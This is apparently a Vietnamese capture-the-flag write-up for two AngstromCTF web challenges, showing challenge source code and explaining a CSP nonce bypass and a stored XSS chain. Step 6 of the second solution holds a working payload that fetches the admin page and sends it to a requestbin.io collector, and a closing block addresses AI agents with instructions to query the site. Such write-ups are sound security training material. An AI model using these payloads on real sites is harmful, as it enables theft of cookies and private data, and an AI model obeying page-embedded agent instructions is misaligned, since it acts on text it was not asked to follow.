# AngstromCTF

look.a

![](/files/-MXjFFVmkHBBZsE2rSzT)

really close to solve jason :(

\*\* nomnomnom

```javascript
const visiter = require('./visiter');

const express = require('express');
const bodyParser = require('body-parser');
const cookieParser = require('cookie-parser');
const crypto = require('crypto');

const app = express();

app.use(bodyParser.json());
app.use(cookieParser());

app.use(express.static('public'));

const nothisisntthechallenge = crypto.randomBytes(64).toString('hex');
const shares = new Map();
shares['hint'] = {name: '<marquee>helvetica standard</marquee>', score: 42};

app.post('/record', function (req, res) {
	if (req.body.name > 100) {
		return res.status(400).send('your name is too long! we don\'t have that kind of vc investment yet...');
	}

	if (isNaN(req.body.score) || !req.body.score || req.body.score < 1) {
		res.send('your score has to be a number bigger than 1! no getting past me >:(');
		return res.status(400).send('your score has to be a number bigger than 1! no getting past me >:(');
	}

	const name = req.body.name;
	const score = req.body.score;
	const shareName = crypto.randomBytes(8).toString('hex');

	shares[shareName] = { name, score };

	return res.redirect(`/shares/${shareName}`);
})

app.get('/shares/:shareName', function(req, res) {
	// TODO: better page maybe...? would attract those sweet sweet vcbucks
	if (!(req.params.shareName in shares)) {
		return res.status(400).send('hey that share doesn\'t exist... are you a time traveller :O');
	}

	const share = shares[req.params.shareName];
	const score = share.score;
	const name = share.name;
	const nonce = crypto.randomBytes(16).toString('hex');
	let extra = '';

	if (req.cookies.no_this_is_not_the_challenge_go_away === nothisisntthechallenge) {
		extra = `deletion token: <code>${process.env.FLAG}</code>`
	}

	return res.send(`
<!DOCTYPE html>
<html>
	<head>
		<meta http-equiv='Content-Security-Policy' content="script-src 'nonce-${nonce}'">
		<title>snek nomnomnom</title>
	</head>
	<body>
		${extra}${extra ? '<br /><br />' : ''}
		<h2>snek goes <em>nomnomnom</em></h2><br />
		Check out this score of ${score}! <br />
		<a href='/'>Play!</a> <button id='reporter'>Report.</button> <br />
		<br />
		This score was set by ${name}
		<script nonce='${nonce}'>
function report() {
	fetch('/report/${req.params.shareName}', {
		method: 'POST'
	});
}

document.getElementById('reporter').onclick = () => { report() };
		</script> 
		
	</body>
</html>`);
});

app.post('/report/:shareName', async function(req, res) {
	if (!(req.params.shareName in shares)) {
		return res.status(400).send('hey that share doesn\'t exist... are you a time traveller :O');
	}

	await visiter.visit(
		nothisisntthechallenge,
		`http://localhost:9999/shares/${req.params.shareName}`
	);
})

app.listen(9999, '0.0.0.0');

```

nhìn vào source ta thấy có thể đây là một chall xss vì có bot.

ở `/record`

```
const name = req.body.name;
const score = req.body.score;
const shareName = crypto.randomBytes(8).toString('hex');
shares[shareName] = { name, score };
return res.redirect(`/shares/${shareName}`);
```

ta thấy có 2 thứ mà mình control được là name và score, sau đó được redirect tới `/shares/sharename`

![](/files/-MXjGc2BcRllraBOqter)

ở đây ta có thể get được flag nếu cookie được set đúng :v

đồng thời nonce được khởi tạo random, thứ sẽ được dùng ở lệnh bên dưới

![](/files/-MXjGpf_PMPlWNgVuHV6)

```javascript
This score was set by ${name}
		<script nonce='${nonce}'>
```

name được render ngay trước script chứa nonce??? mà không có bất kỳ tag nào khác cản trở?

vậy ta có thể fake 1 script kiểu này

name=\<script

code trong server trở thành&#x20;

![](/files/-MXjHbaMmezELQFZ6L5e)

vì name của mình chứa `<script` chưa đóng tag, nên trình duyệt sẽ tìm tới ">" gần nhất kể từ name để đóng lại => phần `<script nonce=''` trở thành thuộc tính của script mình đã fake ở trên, nên bypass được nonce csp ở đây.

bây giờ mình chỉ cần load được script từ nguồn khác là done.

![](/files/-MXjJRPQwDMyXPCL4G_W)

giờ chỉ cần đổi alert thành fetch sẽ lấy được cookie, có cookie thay vào là done

\*\* reaction.py

ở bài này thì mình vẫn được cung cấp source, nên nhìn qua một lượt như sau.

source dài khoảng 300 dòng nên mình sẽ chỉ focus vào những thứ quan trọng.

app có chức năng đăng ký, đăng nhập, tạo contest mới, reset contest và admin bot.

bài này tiếp tục là xss. hmm

ở `/newcomp`

```
@app.route("/newcomp", methods=["POST"])
@mustlogin
def new_component_post(user):
    with user["mutex"]:
        (t, v) = add_component(
            request.form.get("name"), request.form.get("cfg"), user["bucket"]
        )
    if t == ERR:
        return (
            PAGE_TEMPLATE.replace("$$BODY$$", f"""<p class="error">{v}</p>"""),
            400,
        )
    return redirect("/", code=302)
```

template nó như sau

```
def add_component(name, cfg, bucket):
    if not name or not cfg:
        return (ERR, "Missing parameters")
    if len(bucket) >= 2:
        return (ERR, "Bucket too large (our servers aren't very good :((((()")
    if len(cfg) > 250:
        return (ERR, "Config too large (our servers aren't very good :((((()")
    if name == "welcome":
        if len(bucket) > 0:
            return (ERR, "Welcomes can only go at the start")
        bucket.append(
            """
            <form action="/newcomp" method="POST">
                <input type="text" name="name" placeholder="component name">
                <input type="text" name="cfg" placeholder="component config">
                <input type="submit" value="create component">
            </form>
            <form action="/reset" method="POST">
                <p>warning: resetting components gets rid of this form for some reason</p>
                <input type="submit" value="reset components">
            </form>
            <form action="/contest" method="POST">
                <div class="g-recaptcha" data-sitekey="{}"></div>
                <input type="submit" value="submit site to contest">
            </form>
            <p>Welcome <strong>{}</strong>!</p>
            """.format(
                captcha.get("sitekey"), escape(cfg)
            ).strip()
        )
    elif name == "char_count":
        bucket.append(
            "<p>{}</p>".format(
                escape(
                    f"<strong>{len(cfg)}</strong> characters and <strong>{len(cfg.split())}</strong> words"
                )
            )
        )
    elif name == "text":
        bucket.append("<p>{}</p>".format(escape(cfg)))
    elif name == "freq":
        counts = Counter(cfg)
        (char, freq) = max(counts.items(), key=lambda x: x[1])
        bucket.append(
            "<p>All letters: {}<br>Most frequent: '{}'x{}</p>".format(
                "".join(counts), char, freq
            )
        )
    else:
        return (ERR, "Invalid component name")
    return (OK, bucket)
```

gồm có 3 chức năng quan trọng, welcom,thằng này phải nằm ở bucket đầu tiên, freq là đếm ký tự nào được lặp nhiều nhất, đồng thời xóa đi các ký tự lặp. text thì thoải mái nhưng bị excape input của mình => không thể sự dụng tag ở đây.

mình có thể trigger xss ở freq như sau.

![](/files/-MXjLdR-iUI0MZKODfTs)

![](/files/-MXjLZE2OU2OHAXG43Le)

trigger được alert là một chuyện nhưng đọc được cookie hay không là chuyện khác.

![](/files/-MXjLvHiltV6B7yRpzBu)

vì flag nằm ở admin bucket nên để đọc được thì cần một script khá dài

đến đây mình nghĩ nên sử dụng một shortest domain để load script, but nhà nghèo nên không có tiền mua domain.

nên mình nghĩ hướng khác.

vì mỗi user được tạo tối đa 2 bucket, ở text thì mình không thể tạo tag html nhưng freq thì có, vậy how about kết hợp cả 2??

lets try.

![](/files/-MXjOqevih4NDHAtzVam)

but vẫn chưa work tại vì không đúng cú pháp của js, quá nhiều tạp chất :v

mình sử dụng cmt để cmt lại đống tạp chất như sau

![](/files/-MXjPAF_KtWeNCKgv2xt)

![](/files/-MXjPNkK4G6lMs8jydin)

trigger đc alert rồi thì triển thôi.

flag nằm ở bucket admin

các bước để làm như sau

1. reset bucket
2. send newcomp với name=welcom\&cfg=
3. bắt request ở submit to contest,chuyển request đó sang repeat, đồng thời drop request đó.
4. reset lại bucket
5. send newcomp với name=freq\&cfg=\<script>/\*
6. send newcomp với name=text\&cfg=\*/fetch(`/?fakeuser=admin`,{mode%3a+`no-cors`}).then(function+(response){return+response.text()}).then(function+(html){fetch(`https%3a//requestbin.io/1otlfme1/cc%3d`%2bbtoa(html),{mode%3a+`no-cors`})})//
7. send request của submit to contest lúc nãy ở tab repeat.

![](/files/-MXjThrgnxAHMf5x1Tnc)

decode to get flag.

![](/files/-MXjTnpd2gtmRpXjfXYC)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://n3mo.gitbook.io/writeup/angstromctf.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
